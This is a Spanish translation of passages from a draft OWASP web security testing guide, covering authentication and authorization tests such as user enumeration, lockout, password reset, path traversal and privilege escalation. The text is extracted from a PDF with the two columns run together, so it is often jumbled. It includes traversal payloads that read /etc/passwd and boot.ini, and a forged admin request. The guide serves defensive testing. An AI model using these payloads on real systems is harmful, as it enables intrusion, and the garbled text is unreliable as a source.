directorio existente, ellos podrían recibir un error de servidor web.
Las respuestas anteriores permiten al evaluador entender con la primera
solicitud que tienen un nombre de usuario válido para interactuar con la Un error muy común que se recibe desde el servidor web es:
aplicación, solicitando un conjunto de posibles usuarios y observar la
respuesta.
recibir "200 ok" con una imagen; en este caso, podemos suponer que
cuando recibimos la imagen específica el usuario no existe. Esta lógica
En el primer caso el usuario existe, pero el evaluador no puede ver la puede aplicarse a otra respuesta del servidor web; el truco es un buen
página análisis de los mensajes del servidor web y de la aplicación web.
CN000101
-Análisis de los títulos de la Página Web
….
Los evaluadores pueden recibir información útil del título de la página
web, donde pueden obtener un código de error específico o mensajes que A veces los usuarios son creados con un alias REALM y luego números
revelan si los problemas son del usuario o contraseña. secuenciales:
Por ejemplo, si un usuario no puede autenticarse en una aplicación y R2001 – user 001 for REALM2
recibe una página web cuyo título es similar a:
Por ejemplo, un mensaje similar al siguiente: • ID de usuarios asociados con nombres reales, por ejemplo, si Freddie
Mercury tiene un ID de usuario de "fmercury", entonces usted podría
Usuario Inválido: e-mail address is not valid or the specified user was not found.
adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario válido: Your password has been successfully sent to the email address you
registered with.
Una vez más, podemos intuir un nombre de usuario de la información
recibida de una consulta LDAP o de la recopilación de información de
Google, por ejemplo, de un dominio específico. Google puede ayudar a
encontrar los usuarios de un dominio a través de consultas específicas o a
través de secuencias de comandos de carcaza (shell scripts) simples o
- Mensaje de Error 404 amigable
herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no
siempre recibimos un código de error 404. Por el contrario, podemos
Atención: mediante la enumeración de cuentas de usuario, se arriesga a Asegúrese de que la aplicación devuelve mensajes de error genéricos,
bloquear las cuentas después de un número predefinido de intentos consistentes en respuesta a nombres de cuenta válidos, contraseñas u
fallidos (basado en las políticas de la aplicación). También, a veces, su otras credenciales de usuario, ingresados durante el proceso de registro.
dirección IP puede ser prohibida por reglas dinámicas en la aplicación
firewall o sistema de prevención de intrusión.
Asegúrese que las cuentas de pruebas del sistema y cuentas por defecto
se eliminen antes de lanzar el sistema a producción (o exponiéndola a
Pruebas de Caja Gris una red no confiable).
Objetivos de la Prueba
Herramientas
Determine si una estructura de nombres de cuenta constante hace que la
• WebScarab: OWASP_WebScarab_Project aplicación sea vulnerable a la enumeración de la cuenta. Determine si los
mensajes de error de la aplicación permiten la enumeración de la cuenta.
• CURL: curl.haxx.se
• PERL: perl.org
Cómo probar
• Sun Java Access & Identity Manager users enumeration tool:
• Determine la estructura de nombres de cuentas.
aboutsecurity.net
• Evalúe la respuesta de la aplicación a nombres de cuentas válidos y no
válidos.
Remediación
Remediación
En seguridad informática, la autenticación es el proceso de intentar Para complicar más las cosas, existe la posibilidad de que el sitio tenga la
verificar la identidad digital del remitente de una comunicación. Un página de inicio accesible a través de HTTP (haciéndonos creer que la
ejemplo común de este proceso es el proceso de registro. Probar el transmisión es insegura), pero en realidad envía datos a través de HTTPS.
esquema de autenticación significa comprender cómo funciona el proceso Esta prueba se hace para asegurarse que un atacante no pueda recuperar
de autenticación y usar esa información para eludir el mecanismo de información sensible simplemente husmeando en la red con una
autenticación. herramienta de olfateo ( sniffer).
Para una discusión más detallada sobre las pruebas de seguridad de los
canales TLS/SSL, consulte el capítulo Probando SSL/TLS débiles. Aquí, el
evaluador simplemente tratará de entender si los datos que los usuarios
colocan en los formularios web para iniciar una sesión en un sitio web se
transmiten utilizando protocolos seguros que los protege de un atacante.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 Gecko/20080404
Content-length: 64
Ahora, imagine una página web accesible a través de HTTP y que sólo los
datos enviados desde el formulario de autenticación se transmiten a través
Ejemplo 2: Envío de datos con el método POST a través de HTTPS de HTTPS. Esta situación ocurre, por ejemplo, cuando estamos en un portal
de una gran empresa que ofrece diferente información y servicios que están
Supongamos que nuestra aplicación web utiliza el protocolo HTTPS para disponibles públicamente, sin identificación; pero el sitio también tiene una
cifrar los datos que estamos enviando (o por lo menos para la transmisión sección privada, accesible desde la página de inicio cuando los usuarios
de datos confidenciales, como credenciales). En este caso, cuando se inicia la inician una sesión; por lo que, al intentar iniciar la sesión, el encabezado de
aplicación web, el encabezado de la solicitud POST sería similar al siguiente: la solicitud se verá como el siguiente ejemplo:
Content-length: 45
User=test&Pass=test&portal=ExamplePortal
Referencias
Libros Blancos
• SSL is not about encryption Pruebas de las credenciales por defecto de aplicaciones comunes
• Personal técnico sin experiencia que no es consciente de la importancia de Muchas aplicaciones tienen mensajes de error detallados que informan a
cambiar las contraseñas por defecto en componentes de la infraestructura los usuarios sobre la validez de nombres de usuario introducidos. Esta
instalada o dejar la contraseña por defecto para "facilidad de información será útil cuando se busquen cuentas de usuario por defecto
mantenimiento". o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las
páginas de registro, restablecimiento de contraseña, contraseña olvidada
• Programadores que dejan puertas traseras para tener fácil acceso y probar y de inscripción. Una vez que ha encontrado un nombre de usuario por
su aplicación y después olvidan eliminarlas. defecto, también podría empezar a adivinar contraseñas para esta cuenta.
• Los usuarios administradores de una aplicación se nombran a menudo con el Los siguientes pasos pueden aplicarse para probar estos tipos de
nombre de la aplicación u organización. Esto significa que si está probando credenciales predeterminadas:
una aplicación denominada "Oscuridad", intente usar oscuridad/oscuridad o
cualquier otra combinación similar como el nombre de usuario y contraseña. •
Cuando se realiza una prueba para un cliente, inténtelo usando los nombres de
contactos que reciban como nombres de usuario con contraseñas comunes. • Mirar en la página de registro de usuarios puede ayudar a determinar el
Las direcciones de correo electrónico de clientes revelan el acuerdo de formato esperado y la longitud mínima o máxima de nombres y contraseñas
nombres para cuentas del usuario: si el empleado John Doe tiene la dirección de la aplicación. Si no existe una página de registro de usuarios, determine si
de correo electrónico jdoe@example.com, puede tratar de encontrar los la organización utiliza un acuerdo de nomenclatura estándar para los nombres
nombres de los administradores de sistemas en las redes sociales y adivinar su de usuario como su dirección de correo electrónico o el nombre antes de la
nombre de usuario mediante la aplicación de la misma convención a su "@" en el correo electrónico.
nombre.
• Trate de extrapolar, a partir de la aplicación, cómo se generan los nombres
de usuario. Por ejemplo, ¿un usuario puede escoger su propio nombre de
usuario o el sistema genera un nombre de cuenta para el usuario basado en
• Trate de usar todos los nombres de usuario anteriores con contraseñas en alguna información personal o usando una secuencia predecible? Si la
blanco. aplicación genera los nombres de cuenta en una secuencia predecible, como
user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede
• Revise la fuente de la página y JavaScript, ya sea a través de un proxy o identificar una respuesta diferente de la aplicación cuando se utiliza un
mediante la visualización de la fuente. Busque cualquier referencia a los nombre de usuario válido y una contraseña incorrecta, entonces puede intentar
usuarios y contraseñas en la fuente. Por ejemplo “If username=’admin’ then un ataque forzoso con el nombre de usuario válido (o rápidamente probar
starturl=/admin.asp else /index.asp”. (para un registro exitoso versus un cualquiera de las contraseñas comunes identificadas antes en la sección de
registro fallido).También, si usted tiene una cuenta válida, entonces registre y referencia).
revise cada solicitud y respuesta para un registro válido versus un registro no
válido, como parámetros adicionales ocultos, peticiones GET interesantes
(login = yes), etc.
• Trate de determinar si la contraseña generada por el sistema es predecible.
Para ello, cree rápidamente muchas cuentas nuevas, una tras otra, para que
pueda comparar y determinar si las contraseñas son predecibles. Si son
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
104
Guia de pruebas 4.0 "Borrador"
• Virus.org: virus.org
Prueba de Caja Gris
Herramientas
• Información o datos confidenciales: Las secciones privadas de una
• Burp Intruder: portswigger.net aplicación web podrían revelar documentos confidenciales, datos de
perfil de los usuarios, información financiera, datos bancarios, relaciones
• THC Hydra: thc.org de los usuarios, etc..
• Brutus: hoobie.net
• Nikto 2: cirt.net • Los paneles de administración: Estas secciones son utilizadas por los
webmasters para gestionar (modificar, borrar, añadir) el contenido de
aplicaciones web, gestión de creación de usuarios, asignar diferentes [6] Inicie la sesión con la contraseña correcta. La aplicación devuelve "su
privilegios a los usuarios, etc. cuenta está bloqueada.", confirmando así que la cuenta se bloquea
después de cinco intentos de autenticación incorrecta.
[7] Intente entrar con la contraseña correcta cinco minutos más tarde. La
• Oportunidades para nuevos ataques: Las secciones de una aplicación aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
web autenticadas pueden contener vulnerabilidades que no están mecanismo de bloqueo no se desbloquea automáticamente después de
cinco minutos.
[8] Intente entrar con la contraseña correcta diez minutos más tarde. La
presentes en la sección pública de la aplicación web y pueden contener aplicación devuelve "su cuenta está bloqueada.", lo que demuestra que el
funcionalidades avanzadas que no están disponibles para los usuarios mecanismo de bloqueo no se desbloquea automáticamente después de
públicos. diez minutos.
• Evaluar la resistencia del mecanismo de liberación para abrir sin Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede
autorización la cuenta. venir con su propio conjunto de debilidades (ver Probando el CAPTCHA)
y no debe reemplazar a un mecanismo de bloqueo.
Cómo probar
Para evaluar la resistencia del mecanismo de liberación para desbloquear
Por lo general, para probar la fuerza de los mecanismos de bloqueo, se la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
necesitará acceso a una cuenta a la que usted esté dispuesto o pueda
darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar
una sesión en la aplicación web, realice esta prueba al final del plan de
pruebas para evitar que usted no pueda continuar su prueba debido a una Los mecanismos tipicos de desbloqueo pueden involucrar preguntas
cuenta bloqueada. secretas o un link de desbloqueo por correo electrónico.El enlace de
desbloqueo deberá ser un enlace único de un solo uso, para evitar que un
atacante adivine o reproduzca el enlace y realice ataques forzosos en
lotes. Las preguntas y respuestas secretas deben ser fuertes (ver
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para Probando pregunta/respuesta de seguridad débil).
mitigar el forzado o adivinanza de contraseñas, intente realizar un
registro inválido mediante el uso de la contraseña incorrecta varias veces,
antes de utilizar la contraseña correcta para verificar que la cuenta fue
bloqueada. El siguiente es un ejemplo de la prueba:
Referencias
Vea el articulo de OWASP Sobre Ataques Forzosos. Los problemas relacionados con el esquema de autenticación pueden
encontrarse en diferentes etapas del ciclo de vida de desarrollo de
software (SDLC), como las fases de diseño, desarrollo e implementación:
Remediación
Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de • En los errores de la fase de diseño, se puede incluir una definición
riesgo. En orden de menor a mayor seguridad: equivocada de las secciones de la aplicación a proteger, la opción de no
aplicar protocolos de encriptación fuertes para asegurar la transmisión
de las credenciales y muchos más.
[2] Desbloqueo con autoservicio (desbloqueo que envía un correo electrónico a la • En la fase de implementación de la aplicación, puede haber problemas
dirección de correo electrónico registrada). durante la instalación de la aplicación (actividades de instalación y
configuración) debido a la falta de habilidades técnicas requeridas o por
[3] Desbloqueo manual por un administrador. falta de una buena documentación.
• Modificación de parámetros
HTTP/1.1 200 OK
Solicitud de página directa
Date: Sat, 11 Nov 2006 10:22:44 GMT
Si una aplicación web implementa el control de acceso sólo en el registro
en la página, el esquema de autenticación se podría eludir. Por ejemplo, si
Server: Apache
un usuario solicita directamente una página diferente a través de la
navegación forzada, esa página puede no comprobar las credenciales del Connection: close
usuario antes de conceder el acceso. Intente acceder directamente a una
página protegida a través de la barra de direcciones en su navegador para Content-Type: text/html; charset=iso-8859-1
utilizar este método de prueba.
<HTML><HEAD>
</HEAD><BODY>
</BODY></HTML>
Modificación de parámetros
Predicción de sesión ID
podría ser capaz de encontrar un Identificador de Sesión válida y obtener Inyección de SQL (Formulario de Autenticación HTML)
acceso no autorizado a la aplicación, haciéndose pasar por un usuario
previamente autenticado. Una inyección de SQL es una técnica de ataque ampliamente conocida.
Esta sección no describirá esta técnica en detalle ya que hay varias
secciones en esta guía que explican técnicas de inyección más allá del
alcance de esta sección.
En la siguiente figura, los valores dentro de las cookies aumentan
linealmente, por lo que podría ser fácil para un atacante adivinar un
Identificador de Sesión válida.
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . ‘_sid’]) ||
7. $sessionmethod = SESSION_METHOD_COOKIE; Además, algunos sitios web ofrecen funcionalidades personalizadas de "
Recuérdame" para permitir que los usuarios mantengan su sesión en un
8. } sistema de cliente específico.
9.
Referencias
• Mark Roxberry: “PHPBB 2.0.13 vulnerability” • Busque las contraseñas que se almacenan en una cookie. Examine las
cookies almacenadas por la aplicación. Compruebe que las credenciales no se
• David Endler: “Session ID Brute Force Exploitation and Prediction” - almacenan en texto claro, sino con funciones hash.
http://www.cgisecurity.com/lib/SessionIDs.pdf
• Examinar el mecanismo de hashing: si se trata de un algoritmo común, bien comparten la misma debilidad de presentar información sensible previamente
conocido, compruebe su fuerza; en las funciones hash de creación propia ; mostrada.
intente varios nombres de usuario para comprobar si la función de hash es
fácilmente predecible.
• Compruebe que las credenciales sean enviadas solamente durante la fase el La primera y más simple prueba consiste en introducir información sensible
registro y no con cada solicitud a la aplicación. en la aplicación y cerrar la sesión. Entonces el evaluador hace clic en el botón
"Atrás" del navegador para comprobar si accede o muestra información
• Considere otros campos sensibles (por ejemplo, una respuesta a una sensible ingresada anteriormente sin ser autenticado.
pregunta secreta que debe ingresarse en una cuenta de recuperación de
contraseña o formulario de desbloqueo).
Resumen
En esta fase el evaluador comprueba que la aplicación indique correctamente El botón "Atrás" puede detenerse para que no muestre datos sensibles. Esto
al navegador que no recuerde datos sensibles. puede hacerse mediante:
Los navegadores pueden almacenar información con fines de almacenamiento • Ajustando el Control de Caché: a "must-revalidate"
en caché e historia. El almacenamiento en caché se utiliza para mejorar el
rendimiento; así la información que apareció previamente no necesita
descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del
usuario, por lo que él puede ver exactamente lo que vio en el momento de Cache de navegador
obtener el recurso.
Aquí los evaluadores comprueban que la aplicación no tiene fugas de
datos sensibles hacia la caché del navegador. Para ello, pueden utilizar un
proxy (como WebScarab) y buscar a través de las respuestas del servidor
Si se muestra información sensible al usuario (como su dirección, datos de que pertenecen al tiempo de la sesión, verificando que para cada página
tarjeta de crédito, número de seguro social o usuario), esta información podría que contenga información confidencial, el servidor instruyó al navegador
ser almacenada con fines de almacenamiento en caché o de historia y, por lo para que no almacene los datos en caché. Una directiva de este tipo puede
tanto, ser recuperables examinando la caché del navegador o pulsando el emitirse en los encabezados de respuesta HTTP:
botón "Atrás" del navegador.
• Cache-Control: no-cache, no-store
• Expires: 0
Cómo probar
• Pragma: no-cache
Historia del navegador
Estas directivas son generalmente robustas, aunque indicadores Prueba de Caja Gris
adicionales pueden ser necesarios para el encabezado Cache-Control para
prevenir de una mejor manera los archivos vinculados persistentemente La metodología para la prueba es equivalente al caso de la Caja Negra, ya
en el sistema de archivos. Estos incluyen: que en ambos escenarios los evaluadores tienen acceso completo a las
cabeceras de respuesta del servidor y el código HTML. Sin embargo, con
• Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s- pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales
maxage=0 de la cuenta que les permitirá probar páginas sensibles que son
accesibles sólo a usuarios autenticados.
HTTP/1.1:
Herramientas
Cache-Control: no-cache
• OWASP Zed Attack Proxy
Pragma: no-cache
Referencias
Expires: <past date or illegal value (e.g., 0)>
Libros Blancos
Objetivos de la prueba
[1] Mozilla Firefox:
Determine la resistencia de la aplicación contra ataques de fuerza bruta o
• Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/ adivinanza de contraseña usando diccionarios de contraseñas disponibles
mediante la evaluación de los requerimientos de longitud, complejidad,
• Windows: C:\Documents and Settings\<user_name>\Local reutilización y caducidad de las contraseñas.
Settings\Application Data\Mozilla\Firefox\Profiles\<profile-id>\Cache
caracteres como letras minúsculas y mayúsculas, dígitos y símbolos Típicamente se generan con la creación de la cuenta y requieren que el
especiales? usuario seleccione algunas de las preguntas previamente generadas y
provea una respuesta adecuada. Puede permitir al usuario generar sus
[2] ¿Con qué frecuencia puede un usuario cambiar su contraseña? ¿Qué tan propios pares de preguntas y respuestas. Ambos métodos son propensos
rápido puede un usuario cambiar su contraseña después de un cambio a inseguridades. Idealmente, las preguntas de seguridad deben generar
anterior? Los usuarios pueden eludir requisitos de historial de contraseña respuestas que sólo son conocidas por el usuario y no pueden ser
cambiando su contraseña cinco veces seguidas para que después del último predichas o descubiertas por nadie más. Esto es más difícil de lo que
cambio de contraseña recuperen su contraseña inicial otra vez. suena.
[6] ¿Se impide al usuario que utilice su nombre de usuario u otra información
Preguntas previamente generadas:
de la cuenta (como el primer o último nombre) en la contraseña?
La mayoría de preguntas previamente generadas son de naturaleza
bastante simple y pueden llevar a respuestas inseguras. Por ejemplo:
Referencias
• Las respuestas pueden ser conocidas por los familiares o amigos cercanos
del usuario, por ejemplo, "¿Cuál es el apellido de soltera de su madre?",
• Brute Force Attacks: owasp.org
"¿Cuál es su fecha de nacimiento?"
• Password length & complexity: owasp.org
• Las respuestas pueden ser fácilmente predecibles, e.g. "¿Cuál es su color
favorito?", "¿Cuál es su equipo favorito de béisbol?"
• Las respuestas pueden ser atacadas con fuerza bruta, por ejemplo, "¿Cuál es
Remediación
el nombre de su profesora favorita de secundaria?" - La respuesta está
probablemente en alguna lista fácilmente descargable de nombres populares y,
Para mitigar el riesgo de contraseñas fácilmente adivinables facilitando el
por lo tanto, un ataque de fuerza bruta simple puede secuenciarse en un script.
acceso no autorizado, hay dos soluciones: introducir controles de
autenticación adicionales (es decir, autenticación de dos factores) o introducir
• Las respuestas pueden ser públicamente visibles, por ejemplo, ¿cuál es su
una política de contraseñas fuertes. El más simple y más barato de estos es la
película favorita?"- la respuesta puede encontrarse fácilmente en la página de
introducción de una política de contraseña fuerte que asegura la longitud, la
perfil de redes sociales del usuario.
complejidad, la reutilización y la caducidad de la contraseña.
Trate de obtener una lista de preguntas de seguridad mediante la • Una respuesta objetiva como la "primera escuela" u otros hechos que pueden
creación de una nueva cuenta o siguiendo el proceso de “I don’t consultarse.
remember my password” (no recuerdo mi contraseña). Trate de generar
tantas preguntas como sea posible para obtener una buena idea del tipo • Algunas posibles respuestas, tales como "qué modelo fue su primer
de preguntas de seguridad que se hacen. Si alguna de las preguntas de automóvil". Estas preguntas dan al atacante una lista corta de posibles
seguridad cae en las categorías descritas anteriormente, son vulnerables respuestas y, basado en estadísticas, el atacante podría calificar las respuestas
a ser atacadas (adivinadas,ataque de fuerza bruta, disponible en las redes de más a menos probables.
sociales, etc.).
https://www.schneier.com/essays/archives/2005/02/the_curse_of_the_sec.htm
l
El siguiente paso es evaluar la solidez de las preguntas de seguridad. ¿Las
respuestas se obtendrían por una simple búsqueda en Google o con
ataque de ingeniería social? Como evaluador de penetración, este es un
Pruebas para determinar un cambio débil de contraseña o funciones de
tutorial paso a paso de cómo explotar un esquema de preguntas de
restablecimiento (OTG-AUTHN-009)
seguridad:
Resumen
El cambio de contraseña y la función de restablecimiento de una Por otro lado, si se utilizan preguntas secretas, el siguiente paso es
aplicación es un autoservicio de cambio de contraseña o un mecanismo evaluar su solidez. Esta prueba específica se discute en el párrafo de
de restablecimiento para los usuarios. Este mecanismo de autoservicio Probando la Seguridad Débil de Pregunta/Respuesta de esta guía.
permite a los usuarios cambiar o restablecer rápidamente la contraseña
sin que un administrador intervenga. Cuando se cambian las contraseñas
se cambian típicamente dentro de la aplicación. Cuando las contraseñas
se restablecen son presentadas dentro de la aplicación o por correo • ¿Cómo se comunican las contraseñas restablecidas al usuario?
electrónico al usuario. Esto puede indicar que las contraseñas se
almacenan en texto plano o formato desencriptable.
[2] Determine la resistencia de la función de restablecimiento de Un escenario menos inseguro es si la herramienta de restablecimiento de
contraseñas contra el que puedan eludir o adivinar. contraseña obliga al usuario a cambiar inmediatamente su contraseña.
Aunque no tan sigilosamente como el primer caso, permite al atacante
obtener acceso y bloquer al usuario real.
Cómo probar
Tanto para el cambio de contraseña como para restablecer la contraseña, La mejor seguridad se logra si el restablecimiento de contraseña se
es importante verificar: realiza a través de un correo electrónico a la dirección del usuario
inicialmente registrado o a alguna dirección de correo electrónico; Esto
fuerza al atacante no sólo a adivinar a qué correo fue enviado el
restablecimiento de contraseña de la cuenta (a menos que la aplicación
[1] Si los usuarios, que no son administradores, pueden cambiar o restablecer muestre esta información), sino también a comprometer la cuenta de
contraseñas para cuentas que no sean la propia. correo electrónico, con el fin de obtener la contraseña temporal o el
vínculo para restablecer la contraseña.
[2] Si los usuarios pueden manipular o subvertir el cambio de contraseña o
restablecer el proceso para cambiar o restablecer la contraseña de otro usuario
o administrador.
•¿ Son las contraseñas de restablecimiento generadas al azar?
[3] Si el cambio de contraseña o reinicio del proceso es vulnerable a CSRF.
El primer paso es comprobar si se requieren preguntas secretas. El envío • ¿La función de restablecimiento de contraseña solicita confirmación antes de
de la contraseña (o un enlace de restablecimiento de contraseña) a la cambiar la contraseña?
dirección de correo electrónico del usuario, sin preguntar primero una
pregunta secreta, es confiar 100% en la seguridad de la dirección de
correo electrónico, que no es conveniente si la aplicación necesita un alto
nivel de seguridad.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org
115
Guia de pruebas 4.0 "Borrador"
• ¿ La contraseña anterior es solicitada para completar el cambio? • Sitio web de accesibilidad optimizada
El escenario más inseguro aquí es si la aplicación permite el cambio de la • Sitios web paralelos que utilizan el mismo usuario (por ejemplo, otra página
contraseña sin solicitar la contraseña actual. De hecho, si un atacante es web que ofrece diferentes funcionalidades de la misma organización, un sitio
capaz de tomar el control de una sesión válida, podría cambiar fácilmente web de un socio con el que se comparten cuentas de usuario)
la contraseña de la víctima.
• Desarrollo, prueba, UAT y puesta en escena de las versiones de la página
web estándar
• OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery • Operadores de centros de llamadas (call center)
https://www.example.com/myaccount/
Reestablecer Si Si -
Cómo probar
contraseña
Revise y pruebe
Los canales alternativos deben mencionarse en el informe de prueba, Tradicionalmente, los servidores web y aplicaciones web implementan
incluso si están marcados como "solo informativos" y/o "fuera del mecanismos de autenticación para controlar el acceso a archivos y
alcance". En algunos casos, el alcance de la prueba podría incluir el canal recursos. Los servidores web tratan de limitar los archivos de los
alternativo (por ejemplo, porque es una ruta en el nombre del usuarios dentro de un "directorio raíz" o "raíz del documento web ", que
alojamiento de destino), o pueden añadirse al ámbito después de la representa un directorio físico en el sistema de archivos. Los usuarios
discusión con los dueños de los canales. Si la prueba se permite y deben considerar este directorio como el directorio base en la estructura
autoriza, entonces todas las otras pruebas de autenticación en esta guía jerárquica de la aplicación web.
deben realizarse y compararse con el canal primario.
Remediación
Asegúrese de que se aplique una política de autenticación consistente en Muchas aplicaciones web utilizan secuencias de comandos de servidor
todos los canales para que sean igualmente seguros. para incluir diferentes tipos de archivos. Es muy común utilizar este
método para administrar imágenes, plantillas, cargar textos estáticos y
así sucesivamente. Desafortunadamente, estas aplicaciones exponen las
vulnerabilidades de seguridad si los parámetros de entrada (es decir,
Cómo probar la autorización parámetros de los formularios, valores de cookies) no son validados
correctamente.
Autorización es el concepto de permitir acceso a los recursos, sólo a
aquellos permitidos para utilizarlos. Probando la autorización significa
comprender cómo funciona el proceso de autorización y usar esa
información para eludir el mecanismo de autorización. En servidores web y aplicaciones web, este tipo de problemas se presenta
en ataques path de inclusión de archivos de circulación. Mediante la
explotación de este tipo de vulnerabilidad, un atacante es capaz de leer
directorios o archivos que normalmente no puede leer, acceder a los
La autorización es un proceso que viene después de una autenticación
datos fuera de la raíz de documentos web o incluir secuencias de
correcta, por lo que el evaluador verifica este punto después de tener
comandos y otros tipos de archivos desde sitios web externos.
credenciales válidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluación, se debe verificar si es posible
eludir el esquema de autorización, encontrando una vulnerabilidad de
ruta de circulación, o encontrar maneras de aumentar los privilegios Para el propósito de la guía de pruebas OWASP, sólo las amenazas de
asignados al evaluador. seguridad relacionadas con aplicaciones web se considerarán y no las
amenazas a servidores web (por ejemplo, la infame "%5 escape c code"
en el servidor web IIS de Microsoft). Más sugerencias de lectura se
proveerán en la sección de referencias para los lectores interesados.
Probar la inclusión de archivos de directorio de circulación(OTG-
AUTHZ-001)
Resumen
Este tipo de ataque es también conocido como el ataque de punto-punto-
slash (dot-dot-slash) (... /), salto de directorio, escalada de directorio o
Muchas aplicaciones web usan y administran archivos como parte de su
retroceso.
operación diaria. Usando métodos de validación de entrada que no han
sido bien diseñados o implementados, un agresor podría aprovechar el
sistema para leer o escribir archivos que no están diseñados para ser
accesibles. En situaciones particulares, podría ser posible ejecutar un
código arbitrario o comandos del sistema.
TEMPLATE=flower
(a) Enumeración de Vectores de Entrada (una evaluación sistemática de
cada vector de entrada)
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
(b) Técnicas de Pruebas (una evaluación metódica de cada técnica de
ataque, utilizada por un atacante para explotar la vulnerabilidad)
Técnicas de pruebas
Cómo probar
La siguiente etapa de la prueba es analizar las funciones de validación de
Prueba de Caja Negra entrada presentes en la aplicación web. Usando el ejemplo anterior, la
página dinámica llamada getUserProfile.jsp carga información estática de
Enumeración de vectores de entrada un archivo y muestra el contenido a los usuarios. Un atacante podría
insertar la cadena maliciosa "... /.. /.. /.. / etc/passwd" para incluir el
Con el fin de determinar qué parte de la aplicación es vulnerable a eludir archivo de contraseñas hash de un sistema Linux/UNIX. Obviamente, este
la validación de entrada, el evaluador debe enumerar todas las partes de tipo de ataque sólo es posible si el punto de control de validación falla.
la aplicación que aceptan el contenido por parte del usuario. Esto también Según los privilegios de sistema de archivos, la aplicación web debe ser
incluye consultas HTTP GET y POST y opciones comunes como carga de capaz de leer el archivo.
archivos y formularios HTML.
http://example.com/index.php?file=content
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
directory separator: “:
El siguiente ejemplo demostrará cómo es posible mostrar el código fuente Debemos tomar en cuenta los mecanismos de codificación de los
de un componente CGI, sin utilizar los caracteres de ruta de circulación. siguientes caracteres:
http://example.com/main.cgi?home=main.cgi
• URL encoding and double URL encoding
Sugerencia: Es un error común de los programadores no esperar todas %252e%252e%255c represents ..\
las formas de codificación y, por lo tanto, solo hacer validación de
contenido codificado básico. Si al principio la secuencia de la prueba no es ..%255c represents ..\ and so on.
exitosa, pruebe con otro esquema de codificación.
• Marcadores extraños del directorio parental con elementos arbitrarios que • Puede ser equivalente a una letra de unidad como c:\, o incluso a un
pueden o no existir volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\
Ejemplos:
– file.txt
– file.txt...
• Se refiere a la primera unidad de disco en la máquina.
– file.txt<spaces>
– file.txt”””” \\.\CdRom0\
– file.txt<<<>>><
– ./././file.txt
\\?\server_or_ip\path\to\file.abc
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)
• Windows NT Device Namespace: Se utiliza para referirse al espacio de
nombres de dispositivo de Windows. Ciertas referencias permiten el acceso
a sistemas de archivos utilizando una ruta diferente.
code.google.com
Usando el método de pruebas de Caja Gris, es posible descubrir las • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],
vulnerabilidades que son generalmente más difíciles de hallar, o incluso
imposibles de encontrar durante una evaluación estándar de la Caja OWASP: Zed Attack Proxy (ZAP)[5])
Negra.
• Enconding/Decoding tools
file=....//....//boot.ini
Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
file=....\\....\\boot.ini
Resumen
file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cómo se implementó el
esquema de autorización para que cada rol o privilegio obtenga acceso a
funciones reservadas y recursos.
Herramientas
Para cada rol específico que el evaluador tiene durante la evaluación, para
• DotDotPwn - The Directory Traversal Fuzzer:
cada función y solicitud que la aplicación ejecuta durante la fase posterior
dotdotpwn.sectester.net a la autenticación, es necesario verificar:
• ¿Es posible acceder a ese recurso, incluso si el usuario no está ¿Qué sucede si un usuario no administrativo intenta ejecutar esa
autenticado? petición? ¿Se creará el usuario? Si es así, ¿puede utilizar sus privilegios
del nuevo usuario?
• ¿Es posible tener acceso a ese recurso después de la desconexión?
• ¿Es posible acceder a las funciones y los recursos que deben ser accesibles
a un usuario que tiene un rol diferente o un privilegio? Pruebas para buscar el acceso a los recursos asignados a un rol
diferente
Cómo probar
Pruebas para buscar el acceso a funciones administrativas Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ-
003)
Por ejemplo, suponga que la función 'AddUser.jsp' es parte del menú
administrativo de la aplicación, y es posible acceder a él al solicitar la Resumen
siguiente URL:
Esta sección describe el problema del escalamiento de privilegios de una
etapa a otra. Durante esta fase, el evaluador deberá verificar que no es
https://www.example.com/admin/addUser.jsp posible para un usuario modificar sus privilegios o roles dentro de la
aplicación, de manera que podría permitir ataques de escalada de
privilegios.
HTTP/1.1 200 OK
Generalmente, las personas se refieren al escalamiento vertical cuando es
Server: Netscape-Enterprise/6.0
posible tener acceso a recursos en cuentas más privilegiadas (por
ejemplo, adquirir privilegios administrativos para la aplicación) y en
Date: Wed, 1 Apr 2006 13:51:20 GMT
escalamiento horizontal cuando es posible acceder a los recursos de una
cuenta configurada de manera similar (por ejemplo, en una aplicación de
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
banca en línea, al acceder a la información relacionada con un usuario
domain=www.example.com
diferente).
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain=
www.example.com
POST /admin/addUser.jsp HTTP/1.1 ¿Qué pasa si el evaluador modifica el valor de la variable "profile" en
"SysAdmin"? ¿Es posible llegar a ser administrador?
Host: www.example.com
userID=fakeuser&role=3&group=grp001
Por ejemplo:
Por ejemplo:
Cómo probar
Tools
• OWASP WebScarab: OWASP WebScarab Project A continuación se muestran varios escenarios típicos para esta
